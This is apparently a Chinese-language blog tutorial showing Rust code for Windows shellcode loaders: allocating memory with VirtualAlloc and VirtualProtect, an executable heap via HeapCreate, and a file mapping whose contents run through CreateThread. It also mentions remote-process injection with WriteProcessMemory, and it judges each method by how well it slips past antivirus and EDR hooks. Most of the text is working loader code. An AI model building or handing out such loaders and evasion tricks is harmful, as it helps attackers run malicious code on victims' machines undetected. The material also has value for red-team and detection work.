shellcode 在执行之前一般会涉及到内存空间的分配,这里简单列举了一些常见的分配方法。(虽然都已经被 EDR hook 了XD )

VirtualAlloc/VirtualAllocEx

最常用的一种方法,使用 VirtualAlloc 在当前进程中开一块虚拟内存,并设置权限。然后可以直接用 Rust 的 std::ptr::copy 去复制 shellcode。VirtualProtect 则用来更改内存段的权限。

// allocate RW memory for shellcode
let base_addr = VirtualAlloc(
	ptr::null_mut(),
	shellcode_size,
	MEM_COMMIT | MEM_RESERVE,
	PAGE_READWRITE,
);
check!(!base_addr.is_null());
 
// copy shellcode to RW memory
std::ptr::copy(shellcode.as_ptr(), base_addr.cast(), shellcode_size);
 
// change memory protection to RX
let mut old = PAGE_READWRITE;
let res = VirtualProtect(base_addr, shellcode_size, PAGE_EXECUTE, &mut old);
check!(res != FALSE);

对于远程进程来说,需要使用 VirtualAllocEx 并传入目标进程的 handler,然后使用 WriteProcessMemory 将 shellcode 填入目标内存段中。

这个方法是最常用的,但是由于 WriteProcessMemory 在正常程序中很难出现,因此会引起 AV 很大的关注 :P

使用 VirtualAlloc 进行 CreateThread 注入:

HeapAlloc

也可以使用堆来分配 shellcode 空间,因为能够在创建堆的时候传入 HEAP_CREATE_ENABLE_EXECUTE,即能够执行堆中的代码。

// create and alloc heap space
let heap_handler = HeapCreate(
	HEAP_CREATE_ENABLE_EXECUTE,
	0,
	0
);
let heap_address = HeapAlloc(
	heap_handler,
	0,
	0x100000
);
 
std::ptr::copy(shellcode.as_ptr(), heap_address.cast(), shellcode_size);

heap api 静态 bypass 的结果很好看,不过执行这么看内存段便是可疑的 RWX。

CreateFileMapping

内存映射文件就是申请一个区域的地址空间,把位于磁盘上的文件全部或部分映射到该内存地址空间上,而不是常规的文件读写方式: 将文件加载到内存中,再分配内存给该地址空间。

  1. 使用 CreateFileMappingA 创建映射文件 handler
  2. 使用 MapViewOfFile 获取地址
  3. 复制 shellcode 到目标地址
  4. 执行 shellcode
let h_mapping = CreateFileMappingA(
	INVALID_HANDLE_VALUE,
	null_mut(),
	PAGE_EXECUTE_READWRITE,
	0,
	shellcode_size as u32,
	null_mut());
 
let mapping_address = MapViewOfFile(
	h_mapping,
	FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE,
	0,
	0,
	0
);
 
std::ptr::copy(shellcode.as_ptr(), mapping_address.Value.cast(), shellcode_size);
 
// // create thread to execute shellcode
let ep = transmute(mapping_address.Value);
let mut tid = 0;
let thread = CreateThread(
	null_mut(),
	0,
	Some(ep),
	null_mut(),
	0,
	&mut tid
);
 
WaitForSingleObject(thread, INFINITE);
 
UnmapViewOfFile(mapping_address);
CloseHandle(h_mapping);
CloseHandle(thread);